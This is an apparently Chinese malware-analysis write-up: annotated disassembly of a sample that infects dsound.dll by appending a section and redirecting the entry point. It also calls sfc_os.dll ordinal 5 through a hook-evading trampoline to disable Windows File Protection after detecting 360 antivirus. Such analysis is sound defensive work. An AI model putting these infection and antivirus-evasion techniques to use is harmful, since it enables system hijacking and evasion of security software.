00403D6C |. 57            push edi                                  ; 将备份的dsound.dll.bat文件读入缓冲区
接下来使用memcpy分段拷贝dsound.dll.bat 到全面准备好的缓冲区中
00403D6D |. FF5424 14     call dword ptr ss:[esp+0x14]
00403D71 |. 55            push ebp                                  ; /40 拷贝dsound.dll.bat文件pe头前0x40字节到00393AD0
00403D72 |. FF36          push dword ptr ds:[esi]                   ; |src
00403D74 |. FF76 08       push dword ptr ds:[esi+0x8]               ; |dest
00403D77 |. E8 B00A0000   call <jmp.&MSVCRT.memcpy>                 ; \memcpy
00403D7C |. 8B46 08       mov eax,dword ptr ds:[esi+0x8]

00403DEB |> \0FB768 06     movzx ebp,word ptr ds:[eax+0x6]           ; 区块个数
00403DEF |. 85ED          test ebp,ebp
00403DF1 |. 76 6E         jbe XCracker.00403E61
00403DF3 |. 836424 1C 00 and dword ptr ss:[esp+0x1C],0x0
00403DF8 |. 8D7E 1C       lea edi,dword ptr ds:[esi+0x1C]
00403DFB |. 896C24 10     mov dword ptr ss:[esp+0x10],ebp
00403DFF |> 8B4424 1C     /mov eax,dword ptr ss:[esp+0x1C]
00403E03 |. 6A 28         |push 0x28                                ; /n = 28 (40.)
00403E05 |. 0306          |add eax,dword ptr ds:[esi]               ; |
00403E07 |. 03C3          |add eax,ebx                              ; |
00403E09 |. 50            |push eax                                 ; |src
00403E0A |. FF37          |push dword ptr ds:[edi]                  ; |dest
00403E0C |. E8 1B0A0000   |call <jmp.&MSVCRT.memcpy>                ; \memcpy
00403E11 |. 834424 28 28 |add dword ptr ss:[esp+0x28],0x28
00403E16 |. 83C4 0C       |add esp,0xC
00403E19 |. 83C7 04       |add edi,0x4
00403E1C |. FF4C24 10     |dec dword ptr ss:[esp+0x10]              ; 拷贝区块头

00403E29 |> /8B46 18       /mov eax,dword ptr ds:[esi+0x18]
00403E2C |. |8BCE          |mov ecx,esi
00403E2E |. |FF70 3C       |push dword ptr ds:[eax+0x3C]             ; 文件对齐值200h
00403E31 |. |8B07          |mov eax,dword ptr ds:[edi]               ; 区块头
00403E33 |. |FF70 10       |push dword ptr ds:[eax+0x10]             ; 区块文件大小
00403E36 |. |E8 A5FAFFFF   |call Cracker.004038E0                    ; 对齐后大小
00403E3B |. |50            |push eax                                 ; /MemSize
00403E3C |. |6A 40         |push 0x40                                ; |Flags = GPTR
00403E3E |. |FF15 38504000 |call dword ptr ds:[<&kernel32.GlobalAllo>; \GlobalAlloc
00403E44 |. |8947 50       |mov dword ptr ds:[edi+0x50],eax          ; 开辟区块大小
00403E47 |. |8B0F          |mov ecx,dword ptr ds:[edi]
00403E49 |. |FF71 10       |push dword ptr ds:[ecx+0x10]             ; /n
00403E4C |. |8B49 14       |mov ecx,dword ptr ds:[ecx+0x14]          ; |
00403E4F |. |030E          |add ecx,dword ptr ds:[esi]               ; |
00403E51 |. |51            |push ecx                                 ; |src
00403E52 |. |50            |push eax                                 ; |dest
00403E53 |. |E8 D4090000   |call <jmp.&MSVCRT.memcpy>                ; \memcpy
00403E58 |. |83C4 0C       |add esp,0xC                              ; 拷贝区块数据

接下来重写备份文件dsound.dll.bat 在这个文件末尾增加一个区段

00402525 |. 50            push eax                                  ; .text6
00402526 |. E8 FF150000   call Cracker.00403B2A                     ; 查看是否有增加区段
0040252B |. 85C0          test eax,eax
00402545 |. FF75 0C       push [arg.2]                              ;   C:\Program Files\Common Files\System\kd******.dla（资源）
00402548 |. 8D45 EC       lea eax,[local.5]                         ; .text8
0040254B |. 8D8D 14FFFFFF lea ecx,[local.59]
00402551 |. 68 00080000   push 0x800                                ; size
00402556 |. 50            push eax                                  ; .text8
00402557 |. E8 63140000   call Cracker.004039BF                     ; 增加区段

跟进

004039D0 |. FF70 3C       push dword ptr ds:[eax+0x3C]              ; 文件对齐200h
004039D3 |. 0FB758 06     movzx ebx,word ptr ds:[eax+0x6]           ; 区块数
004039D7 |. FF75 0C       push [arg.2]                              ; size= 800
004039DA |. E8 01FFFFFF   call Cracker.004038E0                     ; 对齐函数
004039DF |. 8B4E 18       mov ecx,dword ptr ds:[esi+0x18]
004039E2 |. 8945 0C       mov [arg.2],eax
004039E5 |. FF71 38       push dword ptr ds:[ecx+0x38]              ; 内存对齐
004039E8 |. 8BCE          mov ecx,esi
004039EA |. 50            push eax
004039EB |. E8 F0FEFFFF   call Cracker.004038E0                     ; 1000h
004039F0 |. 8B4E 18       mov ecx,dword ptr ds:[esi+0x18]
004039F3 |. 8945 F0       mov [local.4],eax                         ; 内存对齐大小1000h
004039F6 |. 8B449E 18     mov eax,dword ptr ds:[esi+ebx*4+0x18]     ; 最后一个区块头
004039FA |. FF71 3C       push dword ptr ds:[ecx+0x3C]
004039FD |. 8B48 14       mov ecx,dword ptr ds:[eax+0x14]           ; 最后区块文件偏移
00403A00 |. 0348 10       add ecx,dword ptr ds:[eax+0x10]           ; 文件大小 = 最后区块文件大小+文件偏移
00403A03 |. 51            push ecx
00403A04 |. 8BCE          mov ecx,esi
00403A06 |. E8 D5FEFFFF   call Cracker.004038E0
00403A0B |. 8B4E 18       mov ecx,dword ptr ds:[esi+0x18]
00403A0E |. 8945 FC       mov [local.1],eax                         ; 对齐大小59C00
00403A11 |. 8B449E 18     mov eax,dword ptr ds:[esi+ebx*4+0x18]
00403A15 |. FF71 38       push dword ptr ds:[ecx+0x38]
00403A18 |. 8B48 0C       mov ecx,dword ptr ds:[eax+0xC]
00403A1B |. 0348 08       add ecx,dword ptr ds:[eax+0x8]
00403A1E |. 51            push ecx
00403A1F |. 8BCE          mov ecx,esi
00403A21 |. E8 BAFEFFFF   call Cracker.004038E0                     ; 内存映射后大小
00403A26 |. 8D7C9E 1C     lea edi,dword ptr ds:[esi+ebx*4+0x1C]
00403A2A |. 6A 28         push 0x28                                 ; /n = 28 (40.)
00403A2C |. 6A 00         push 0x0                                  ; |c = 00
00403A2E |. 8945 F8       mov [local.2],eax                         ; | 5C000
00403A31 |. FF37          push dword ptr ds:[edi]                   ; |s
00403A33 |. 897D EC       mov [local.5],edi                         ; |
00403A36 |. E8 F70D0000   call <jmp.&MSVCRT.memset>                 ; \memset
00403A3B |. 8B07          mov eax,dword ptr ds:[edi]
00403A3D |. 8B4D FC       mov ecx,[local.1]
00403A40 |. FF75 08       push [arg.1]                              ; /s
00403A43 |. 8948 14       mov dword ptr ds:[eax+0x14],ecx           ; |文件偏移
00403A46 |. 8B07          mov eax,dword ptr ds:[edi]                ; |
00403A48 |. 8B4D F8       mov ecx,[local.2]                         ; |内存映射偏移
00403A4B |. 8948 0C       mov dword ptr ds:[eax+0xC],ecx            ; |
00403A4E |. 8B0F          mov ecx,dword ptr ds:[edi]                ; |
00403A50 |. 8B45 0C       mov eax,[arg.2]                           ; |
00403A53 |. 8941 10       mov dword ptr ds:[ecx+0x10],eax           ; |文件大小
00403A56 |. 8B0F          mov ecx,dword ptr ds:[edi]                ; |
00403A58 |. 8941 08       mov dword ptr ds:[ecx+0x8],eax            ; |
00403A5B |. 8B07          mov eax,dword ptr ds:[edi]                ; |
00403A5D |. C740 24 60000>mov dword ptr ds:[eax+0x24],0xE0000060    ; |区块属性
00403A64 |. E8 BD0D0000   call <jmp.&MSVCRT.strlen>                 ; \strlen
00403A69 |. 50            push eax                                  ; /n
00403A6A |. FF75 08       push [arg.1]                              ; |src
00403A6D |. FF37          push dword ptr ds:[edi]                   ; |dest
00403A6F |. E8 B80D0000   call <jmp.&MSVCRT.memcpy>                 ; \memcpy
00403A74 |. 83C4 1C       add esp,0x1C                              ; 给新增加区块赋值
00403A77 |. 8D5C9E 6C     lea ebx,dword ptr ds:[esi+ebx*4+0x6C]
00403A7B |. FF75 0C       push [arg.2]                              ; /MemSize
00403A7E |. 6A 40         push 0x40                                 ; |Flags = GPTR
00403A80 |. FF15 38504000 call dword ptr ds:[<&kernel32.GlobalAlloc>; \GlobalAlloc
00403A86 |. 8903          mov dword ptr ds:[ebx],eax
00403A88 |. 8B46 18       mov eax,dword ptr ds:[esi+0x18]
00403A8B |. 68 65010000   push 0x165                                ; /n = 165 (357.)
00403A90 |. 68 88604000   push Cracker.00406088                     ; |src = Cracker.00406088
00403A95 |. 66:FF40 06    inc word ptr ds:[eax+0x6]                 ; |区块数加1
00403A99 |. 8B17          mov edx,dword ptr ds:[edi]                ; |
00403A9B |. 8B4E 18       mov ecx,dword ptr ds:[esi+0x18]           ; |
00403A9E |. 8B52 0C       mov edx,dword ptr ds:[edx+0xC]            ; |.text8 的 VirtualAddress
00403AA1 |. 8B41 28       mov eax,dword ptr ds:[ecx+0x28]           ; |eax = 原oep(1788)
00403AA4 |. 8951 28       mov dword ptr ds:[ecx+0x28],edx           ; |修改ope 重新增加区块处执行
00403AA7 |. 8B0F          mov ecx,dword ptr ds:[edi]                ; |
00403AA9 |. 2B41 0C       sub eax,dword ptr ds:[ecx+0xC]            ; |
00403AAC |. 2D 42010000   sub eax,0x142                             ; |
00403AB1 |. A3 E6614000   mov dword ptr ds:[0x4061E6],eax           ; |
00403AB6 |. FF33          push dword ptr ds:[ebx]                   ; |dest
00403AB8 |. E8 6F0D0000   call <jmp.&MSVCRT.memcpy>                 ; \memcpy
00403ABD |. 8B03          mov eax,dword ptr ds:[ebx]                ; 拷贝（357字节大小）地址406088作作为新区段
00403ABF |. 6A 04         push 0x4                                  ; /n = 4
00403AC1 |. 68 F0614000   push Cracker.004061F0                     ; |src = Cracker.004061F0
00403AC6 |. C680 64010000>mov byte ptr ds:[eax+0x164],0x1           ; |
00403ACD |. 8B03          mov eax,dword ptr ds:[ebx]                ; |
00403ACF |. 05 66010000   add eax,0x166                             ; |
00403AD4 |. 50            push eax                                  ; |dest
00403AD5 |. E8 520D0000   call <jmp.&MSVCRT.memcpy>                 ; \memcpy
00403ADA |. 8B03          mov eax,dword ptr ds:[ebx]                ; 拷贝CSO
00403ADC |. FF75 10       push [arg.3]                              ; 资源dll
00403ADF |. C680 65010000>mov byte ptr ds:[eax+0x165],0x78          ; 修改刚拷贝的第357字节为0x78
00403AE6 |. 8B03          mov eax,dword ptr ds:[ebx]
00403AE8 |. 05 6A010000   add eax,0x16A
00403AED |. 50            push eax
00403AEE |. E8 B0DBFFFF   call Cracker.004016A3                     ; 拷贝C:\Program Files\Common Files\System\kd******.dla路径

修改pe ,然后把修改后的pe 写回dsound.dll.bat

00403EDD |. 6A 03         push 0x3
00403EDF |. 57            push edi
00403EE0 |. FF75 08       push [arg.1]                              ; 打开文件dsound.dll.bat
00403EE3 |. FF55 F8       call [local.2]
00403EE6 |. 83F8 FF       cmp eax,-0x1
00403EE9 |. 8945 FC       mov [local.1],eax
00403EEC |. 75 04         jnz XCracker.00403EF2
00403EEE |. 6A 03         push 0x3
00403EF0 |. EB 34         jmp XCracker.00403F26
00403EF2 |> 8BCE          mov ecx,esi
00403EF4 |. E8 FDF9FFFF   call Cracker.004038F6

跟进这个call
修改PE
0040390C |> /FF70 38       /push dword ptr ds:[eax+0x38]             ; 内存对齐1000h
0040390F |. |8B07          |mov eax,dword ptr ds:[edi]
00403911 |. |8BCE          |mov ecx,esi
00403913 |. |FF70 0C       |push dword ptr ds:[eax+0xC]              ; 区段RVA
00403916 |. |E8 C5FFFFFF   |call Cracker.004038E0
0040391B |. |8B0F          |mov ecx,dword ptr ds:[edi]
0040391D |. |8941 0C       |mov dword ptr ds:[ecx+0xC],eax
00403920 |. |8B46 18       |mov eax,dword ptr ds:[esi+0x18]
00403923 |. |8BCE          |mov ecx,esi
00403925 |. |FF70 38       |push dword ptr ds:[eax+0x38]
00403928 |. |8B07          |mov eax,dword ptr ds:[edi]
0040392A |. |FF70 08       |push dword ptr ds:[eax+0x8]              ; 区段内存大小
0040392D |. |E8 AEFFFFFF   |call Cracker.004038E0                    ; 对齐函数
00403932 |. |8B0F          |mov ecx,dword ptr ds:[edi]
00403934 |. |8941 08       |mov dword ptr ds:[ecx+0x8],eax
00403937 |. |8B46 18       |mov eax,dword ptr ds:[esi+0x18]
0040393A |. |8BCE          |mov ecx,esi
0040393C |. |FF70 3C       |push dword ptr ds:[eax+0x3C]             ; 200h
0040393F |. |8B07          |mov eax,dword ptr ds:[edi]
00403941 |. |FF70 14       |push dword ptr ds:[eax+0x14]             ; 文件偏移

00403956 |. 8B07          |mov eax,dword ptr ds:[edi]
00403958 |. FF70 10       |push dword ptr ds:[eax+0x10]             ; 文件大小
0040395B |. E8 80FFFFFF   |call Cracker.004038E0                    ; 对齐后大小
00403960 |. 8B0F          |mov ecx,dword ptr ds:[edi]
00403962 |. 43            |inc ebx
00403963 |. 83C7 04       |add edi,0x4
00403966 |. 8941 10       |mov dword ptr ds:[ecx+0x10],eax
00403969 |. 8B46 18       |mov eax,dword ptr ds:[esi+0x18]
0040396C |. 0FB748 06     |movzx ecx,word ptr ds:[eax+0x6]
00403970 |. 3BD9          |cmp ebx,ecx
00403972 |.^ 7C 98         \jl XCracker.0040390C                     ; 将每个区段大小对齐
00403974 |. 5F            pop edi
00403975 |> 8B449E 18     mov eax,dword ptr ds:[esi+ebx*4+0x18]     ; 。text8
00403979 |. 8B48 0C       mov ecx,dword ptr ds:[eax+0xC]            ; VirtualAddress
0040397C |. 0348 08       add ecx,dword ptr ds:[eax+0x8]            ; ecx = sizeOfImage
0040397F |. 8B46 18       mov eax,dword ptr ds:[esi+0x18]           ; pe
00403982 |. 8948 50       mov dword ptr ds:[eax+0x50],ecx           ; 更该 SizeOfImage
00403985 |. 8B46 18       mov eax,dword ptr ds:[esi+0x18]
00403988 |. 89A8 C8000000 mov dword ptr ds:[eax+0xC8],ebp
0040398E |. 8B46 18       mov eax,dword ptr ds:[esi+0x18]
00403991 |. 89A8 CC000000 mov dword ptr ds:[eax+0xCC],ebp
00403997 |. 8B46 18       mov eax,dword ptr ds:[esi+0x18]
0040399A |. 89A8 D0000000 mov dword ptr ds:[eax+0xD0],ebp
004039A0 |. 8B46 18       mov eax,dword ptr ds:[esi+0x18]
004039A3 |. 89A8 D4000000 mov dword ptr ds:[eax+0xD4],ebp
004039A9 |. 8B46 18       mov eax,dword ptr ds:[esi+0x18]
004039AC |. 89A8 D8000000 mov dword ptr ds:[eax+0xD8],ebp           ; 修改目录表

可以发现这个病毒使用一个结构体存放PE信息
[esi+8] = IMAGE_DOS_HEADER (0x40)
[esi+10] = A8 //MS_DOS 大小
[esi+C] = MS_DOS
[esi+14] = IMAGE_DOS_Header大小 = 0x40
[esi+18] = Image_Nt_Header
[esi+1C] = 存放Image_section_header 转到这个地址可以发现

0012F3B8 18 3C 39 00 48 3C 39 00 78 3C 39 00 A8 3C 39 00 <9.H<9.x<9.?9.
0012F3C8 D8 3C 39 00 08 3D 39 00 38 3D 39 00 68 3D 39 00 ?9.=9.8=9.h=9.
0012F3D8 98 3D 39 00 C8 3D 39 00 F8 3D 39 00 28 3E 39 00 ?9.?9.?9.(>9.
0012F3E8 58 3E 39 00 88 3E 39 00 B8 3E 39 00 E8 3E 39 00 X>9.?9.?9.?9.
这个存放了各个区块头

上面这点发现了，，接下来就比较简单了

00403E7F |. 8B3D 00504000 mov edi,dword ptr ds:[<&kernel32.LoadLibr>; kernel32.LoadLibraryA
00403E85 |. 8BF1          mov esi,ecx
00403E87 |. BB 10604000   mov ebx,Cracker.00406010                  ; ASCII "Kernel32.dll"
00403E8C |. 68 50604000   push Cracker.00406050                     ; ASCII "CloseHandle"
00403E91 |. 8326 00       and dword ptr ds:[esi],0x0
00403E94 |. 53            push ebx                                  ; /FileName => "Kernel32.dll"
00403E95 |. FFD7          call edi                                  ; \LoadLibraryA
00403E97 |. 50            push eax
00403E98 |. E8 83DAFFFF   call Cracker.00401920
00403E9D |. 59            pop ecx
00403E9E |. 8945 F4       mov [local.3],eax
00403EA1 |. 59            pop ecx
00403EA2 |. 68 44604000   push Cracker.00406044                     ; ASCII "CreateFileA"

00403EE0 |. FF75 08       push [arg.1]                              ; 打开文件dsound.dll.bat
00403EE3 |. FF55 F8       call [local.2]
00403EE6 |. 83F8 FF       cmp eax,-0x1
00403EE9 |. 8945 FC       mov [local.1],eax
00403EEC |. 75 04         jnz XCracker.00403EF2
00403EEE |. 6A 03         push 0x3
00403EF0 |. EB 34         jmp XCracker.00403F26
00403EF2 |> 8BCE          mov ecx,esi
00403EF4 |. E8 FDF9FFFF   call Cracker.004038F6
00403EF9 |. 8B46 18       mov eax,dword ptr ds:[esi+0x18]
00403EFC |. 0FB740 06     movzx eax,word ptr ds:[eax+0x6]           ; 区段 = 5
00403F00 |. 8B4486 18     mov eax,dword ptr ds:[esi+eax*4+0x18]     ; .text8段
00403F04 |. 8B48 14       mov ecx,dword ptr ds:[eax+0x14]           ; ecx = 指向文件偏移
00403F07 |. 8B40 10       mov eax,dword ptr ds:[eax+0x10]           ; eax = 该区块文件大小
00403F0A |. 03C1          add eax,ecx                               ; eax = 文件大小
00403F0C |. 50            push eax                                  ; /MemSize
00403F0D |. 6A 40         push 0x40                                 ; |Flags = GPTR
00403F0F |. 8946 04       mov dword ptr ds:[esi+0x4],eax            ; |
00403F12 |. FF15 38504000 call dword ptr ds:[<&kernel32.GlobalAlloc>; \GlobalAlloc
00403F18 |. 85C0          test eax,eax                              ; 开辟空间

00403F31 |> \6A 40         push 0x40                                 ; /n = 40 (64.)
00403F33 |. FF76 08       push dword ptr ds:[esi+0x8]               ; |存放IMAGE_DOS_HANDLE
00403F36 |. 50            push eax                                  ; |dest
00403F37 |. E8 F0080000   call <jmp.&MSVCRT.memcpy>                 ; \memcpy
00403F3C |. 8B46 10       mov eax,dword ptr ds:[esi+0x10]
00403F3F |. 83C4 0C       add esp,0xC
00403F42 |. A9 00000080   test eax,0x80000000
00403F47 |. 75 12         jnz XCracker.00403F5B
00403F49 |. 50            push eax                                  ; /MS_DOS 大小
00403F4A |. 8B46 14       mov eax,dword ptr ds:[esi+0x14]           ; |IMAGE_DOS_Hander 大小
00403F4D |. FF76 0C       push dword ptr ds:[esi+0xC]               ; |src
00403F50 |. 0306          add eax,dword ptr ds:[esi]                ; |
00403F52 |. 50            push eax                                  ; |dest
00403F53 |. E8 D4080000   call <jmp.&MSVCRT.memcpy>                 ; \memcpy
00403F58 |. 83C4 0C       add esp,0xC
00403F5B |> \8B46 08       mov eax,dword ptr ds:[esi+0x8]
00403F5E |. BB F8000000   mov ebx,0xF8
00403F63 |. 53            push ebx                                  ; /n => F8 (248.)
00403F64 |. 8B40 3C       mov eax,dword ptr ds:[eax+0x3C]           ; |e_lfanew
00403F67 |. FF76 18       push dword ptr ds:[esi+0x18]              ; |src
00403F6A |. 0306          add eax,dword ptr ds:[esi]                ; |Image_nt_Header
00403F6C |. 50            push eax                                  ; |dest
00403F6D |. E8 BA080000   call <jmp.&MSVCRT.memcpy>                 ; \memcpy
00403F72 |. 8B46 08       mov eax,dword ptr ds:[esi+0x8]
00403F75 |. 83C4 0C       add esp,0xC
00403F78 |. 8B78 3C       mov edi,dword ptr ds:[eax+0x3C]
00403F7B |. 8B46 18       mov eax,dword ptr ds:[esi+0x18]
00403F7E |. 03FB          add edi,ebx                               ; edi = 区块头（偏移）
00403F80 |. 0FB740 06     movzx eax,word ptr ds:[eax+0x6]           ; 区块数
00403F84 |. 85C0          test eax,eax
00403F86 |. 8945 F0       mov [local.4],eax
00403F89 |. 76 52         jbe XCracker.00403FDD
00403F8B |. 8365 08 00    and [arg.1],0x0
00403F8F |. 8D5E 1C       lea ebx,dword ptr ds:[esi+0x1C]           ; IMage_SECTION_Header
00403F92 |. 8945 F8       mov [local.2],eax
00403F95 |> 8B45 08       /mov eax,[arg.1]
00403F98 |. 6A 28         |push 0x28                                ; /n = 28 (40.)
00403F9A |. 0306          |add eax,dword ptr ds:[esi]               ; |
00403F9C |. FF33          |push dword ptr ds:[ebx]                  ; |IMAGE_SECTION_HEADER
00403F9E |. 03C7          |add eax,edi                              ; |
00403FA0 |. 50            |push eax                                 ; |dest
00403FA1 |. E8 86080000   |call <jmp.&MSVCRT.memcpy>                ; \memcpy
00403FA6 |. 8345 08 28    |add [arg.1],0x28
00403FAA |. 83C4 0C       |add esp,0xC
00403FAD |. 83C3 04       |add ebx,0x4
00403FB0 |. FF4D F8       |dec [local.2]                            ; count = 6
00403FB3 |.^ 75 E0         \jnz XCracker.00403F95

00403FBF |. 8BD8          mov ebx,eax
00403FC1 |> 8B07          /mov eax,dword ptr ds:[edi]
00403FC3 |. FF70 10       |push dword ptr ds:[eax+0x10]             ; /区块 SizeOfRawData
00403FC6 |. 8B40 14       |mov eax,dword ptr ds:[eax+0x14]          ; |文件指针
00403FC9 |. 0306          |add eax,dword ptr ds:[esi]               ; |
00403FCB |. FF77 50       |push dword ptr ds:[edi+0x50]             ; |src
00403FCE |. 50            |push eax                                 ; |dest
00403FCF |. E8 58080000   |call <jmp.&MSVCRT.memcpy>                ; \memcpy
00403FD4 |. 83C4 0C       |add esp,0xC
00403FD7 |. 83C7 04       |add edi,0x4
00403FDA |. 4B            |dec ebx                                  ; 拷贝个区块数据
00403FDB |.^ 75 E4         \jnz XCracker.00403FC1
00403FDD |> 8B5D FC       mov ebx,[local.1]                         ; dsound.dll,bat
00403FE0 |. 8B3D 14504000 mov edi,dword ptr ds:[<&kernel32.SetFileP>; kernel32.SetFilePointer
00403FE6 |. 33C0          xor eax,eax
00403FE8 |. 50            push eax                                  ; /Origin => FILE_BEGIN
00403FE9 |. 50            push eax                                  ; |pOffsetHi => NULL
00403FEA |. 50            push eax                                  ; |OffsetLo => 0
00403FEB |. 53            push ebx                                  ; |hFile
00403FEC |. FFD7          call edi                                  ; \SetFilePointer
00403FEE |. 8D45 EC       lea eax,[local.5]
00403FF1 |. 6A 00         push 0x0                                  ; /pOverlapped = NULL
00403FF3 |. 50            push eax                                  ; |pBytesWritten
00403FF4 |. FF76 04       push dword ptr ds:[esi+0x4]               ; |nBytesToWrite
00403FF7 |. FF36          push dword ptr ds:[esi]                   ; |Buffer
00403FF9 |. 53            push ebx                                  ; |hFile
00403FFA |. FF15 1C504000 call dword ptr ds:[<&kernel32.WriteFile>] ; \WriteFile

接下来生成系统目录\system\dsound.dll.****(随机生成的) 并且移动dsound.dll到dsound.dll.****

004044AE |. C645 DE 41    mov byte ptr ss:[ebp-0x22],0x41       ; MoveFileEx ， CopyFile
004044B2 |. 885D DF       mov byte ptr ss:[ebp-0x21],bl
004044B5 |. FFD6          call esi
004044B7 |. 50            push eax
004044B8 |. E8 63D4FFFF   call Cracker.00401920
004044BD |. 59            pop ecx
004044BE |. 8945 AC       mov [local.21],eax                    ; [local.21] = Copyfile
004044C1 |. 59            pop ecx
004044C2 |. 8D45 D4       lea eax,[local.11]
004044C5 |. 50            push eax
004044C6 |. 57            push edi
004044C7 |. FFD6          call esi
004044C9 |. 50            push eax
004044CA |. E8 51D4FFFF   call Cracker.00401920
004044CF |. 8945 08       mov [arg.1],eax                       ; [arg1] = MovefileEx
004044D2 |. 8D85 94FDFFFF lea eax,[local.155]
004044D8 |. 50            push eax                              ; C:\Windows\system32\dsound.dll
004044D9 |. E8 E6D2FFFF   call Cracker.004017C4
004044DE |. 83C4 0C       add esp,0xC
004044E1 |. 85C0          test eax,eax
004044E3 |. 0F84 87000000 je Cracker.00404570
004044E9 |. 8D85 8CFBFFFF lea eax,[local.285]                   ; C:\Windows\system32\dsound.dll.CNCL
004044EF |. 50            push eax
004044F0 |. E8 CFD2FFFF   call Cracker.004017C4                 ; 判断文件是否存在

接下来查看是否有360

004041AA |. C645 F4 33    mov byte ptr ss:[ebp-0xC],0x33
004041AE |. C645 F5 36    mov byte ptr ss:[ebp-0xB],0x36
004041B2 |. C645 F6 30    mov byte ptr ss:[ebp-0xA],0x30
004041B6 |. C645 F7 74    mov byte ptr ss:[ebp-0x9],0x74
004041BA |. C645 F8 72    mov byte ptr ss:[ebp-0x8],0x72
004041BE |. C645 F9 61    mov byte ptr ss:[ebp-0x7],0x61
004041C2 |. C645 FA 79    mov byte ptr ss:[ebp-0x6],0x79
004041C6 |. C645 FB 2E    mov byte ptr ss:[ebp-0x5],0x2E
004041CA |. C645 FC 65    mov byte ptr ss:[ebp-0x4],0x65
004041CE |. C645 FD 78    mov byte ptr ss:[ebp-0x3],0x78
004041D2 |. C645 FE 65    mov byte ptr ss:[ebp-0x2],0x65            ; 360tray.exe
004041D6 |. E8 25CEFFFF   call Cracker.00401000

call 401000 使用CreateToolhelp32Snapshot,Process32First,Process32Next 查看是否有360

跟进接下来一个call   这个call就是这个病毒怎么过360j检测的

如果存在，则利用技巧躲避360的api调用检查来调用sfc_os.dll5号函数，从而修改系统文件,躲过360.
00404069   . C645 DF 65    mov byte ptr ss:[ebp-0x21],0x65
0040406D   . 8065 E0 00    and byte ptr ss:[ebp-0x20],0x0        ; SeDebugPrivilege
00404071   . 6A 01         push 0x1
00404073   . 8D45 D0       lea eax,dword ptr ss:[ebp-0x30]
00404076   . 50            push eax
00404077   . E8 B3D3FFFF   call Cracker.0040142F                 ; 提权
0040407C   . 59            pop ecx
0040407D   . 59            pop ecx
0040407E   . C645 E4 73    mov byte ptr ss:[ebp-0x1C],0x73
00404082   . C645 E5 66    mov byte ptr ss:[ebp-0x1B],0x66
00404086   . C645 E6 63    mov byte ptr ss:[ebp-0x1A],0x63
0040408A   . C645 E7 5F    mov byte ptr ss:[ebp-0x19],0x5F
0040408E   . C645 E8 6F    mov byte ptr ss:[ebp-0x18],0x6F
00404092   . C645 E9 73    mov byte ptr ss:[ebp-0x17],0x73
00404096   . C645 EA 2E    mov byte ptr ss:[ebp-0x16],0x2E
0040409A   . C645 EB 64    mov byte ptr ss:[ebp-0x15],0x64
0040409E   . C645 EC 6C    mov byte ptr ss:[ebp-0x14],0x6C
004040A2   . C645 ED 6C    mov byte ptr ss:[ebp-0x13],0x6C
004040A6   . 8065 EE 00    and byte ptr ss:[ebp-0x12],0x0        ; sfc_os.dll
004040AA   . 68 04010000   push 0x104                            ; /n = 104 (260.)
004040AF   . 6A 00         push 0x0                              ; |c = 00
004040B1   . 68 2C634000   push Cracker.0040632C                 ; |s = Cracker.0040632C
004040B6   . E8 77070000   call <jmp.&MSVCRT.memset>             ; \memset
004040BB   . 83C4 0C       add esp,0xC
004040BE   . 68 82000000   push 0x82                             ; /WideBufSize = 82 (130.)
004040C3   . 68 2C634000   push Cracker.0040632C                 ; |WideCharBuf = Cracker.0040632C
004040C8   . FF75 08       push dword ptr ss:[ebp+0x8]           ; |/String
004040CB   . FF15 54504000 call dword ptr ds:[<&kernel32.lstrlen>; |\lstrlenA
004040D1   . 50            push eax                              ; |StringSize
004040D2   . FF75 08       push dword ptr ss:[ebp+0x8]           ; |StringToMap
004040D5   . 6A 00         push 0x0                              ; |Options = 0
004040D7   . 6A 00         push 0x0                              ; |CodePage = CP_ACP
004040D9   . FF15 08504000 call dword ptr ds:[<&kernel32.MultiBy>; \MultiByteToWideChar
004040DF   . 8D45 E4       lea eax,dword ptr ss:[ebp-0x1C]
004040E2   . 50            push eax                              ; /FileName
004040E3   . FF15 00504000 call dword ptr ds:[<&kernel32.LoadLib>; \LoadLibraryA
004040E9   . 8945 F8       mov dword ptr ss:[ebp-0x8],eax        ; LoadLirbary("scf_os.dll")
004040EC   . 837D F8 00    cmp dword ptr ss:[ebp-0x8],0x0
004040F0   . 75 07         jnz XCracker.004040F9
004040F2   . 33C0          xor eax,eax
004040F4   . E9 9E000000   jmp Cracker.00404197
004040F9   > 8365 F0 00    and dword ptr ss:[ebp-0x10],0x0
004040FD   . 6A 05         push 0x5                              ; 5
004040FF   . FF75 F8       push dword ptr ss:[ebp-0x8]           ; HMOdule
00404102   . E8 19D8FFFF   call Cracker.00401920
00404107   . 59            pop ecx                               ;   获取5号函数指针
00404108   . 59            pop ecx
00404109   . 8945 F4       mov dword ptr ss:[ebp-0xC],eax
0040410C   . 8B45 F4       mov eax,dword ptr ss:[ebp-0xC]
0040410F   . 8945 FC       mov dword ptr ss:[ebp-0x4],eax
00404112   . 0FB605 286340>movzx eax,byte ptr ds:[0x406328]
00404119   . 83E0 01       and eax,0x1
0040411C   . 85C0          test eax,eax
0040411E   . 75 22         jnz XCracker.00404142
00404120   . A0 28634000   mov al,byte ptr ds:[0x406328]
00404125   . 0C 01         or al,0x1
00404127   . A2 28634000   mov byte ptr ds:[0x406328],al
0040412C   . 6A 0A         push 0xA                              ; /dwBytes = A (10.)
0040412E   . 6A 08         push 0x8                              ; |dwFlags = HEAP_ZERO_MEMORY
00404130   . FF15 50504000 call dword ptr ds:[<&kernel32.GetProc>; |[GetProcessHeap
00404136   . 50            push eax                              ; |hHeap
00404137   . FF15 4C504000 call dword ptr ds:[<&kernel32.HeapAll>; \RtlAllocateHeap
0040413D   . A3 24634000   mov dword ptr ds:[0x406324],eax       ; 堆中分配10字节空间
00404142   > 6A 05         push 0x5                              ; /n = 5
00404144   . FF75 FC       push dword ptr ss:[ebp-0x4]           ; | 复制5号函数的前5个字节内容到分配的堆空间中
00404147   . FF35 24634000 push dword ptr ds:[0x406324]          ; |dest = 00154808
0040414D   . E8 DA060000   call <jmp.&MSVCRT.memcpy>             ; \memcpy
00404152   . 83C4 0C       add esp,0xC
00404155   . A1 24634000   mov eax,dword ptr ds:[0x406324]
0040415A   . C640 05 E9    mov byte ptr ds:[eax+0x5],0xE9        ; 覆盖第6个字节为 jmp
0040415E   . 8B45 FC       mov eax,dword ptr ss:[ebp-0x4]
00404161   . 2B05 24634000 sub eax,dword ptr ds:[0x406324]
00404167   . 83E8 05       sub eax,0x5                           ; 计算jmp 地址
0040416A   . 8B0D 24634000 mov ecx,dword ptr ds:[0x406324]
00404170   . 8941 06       mov dword ptr ds:[ecx+0x6],eax        ; 写入jmp地址
00404173   . 6A FF         push -0x1
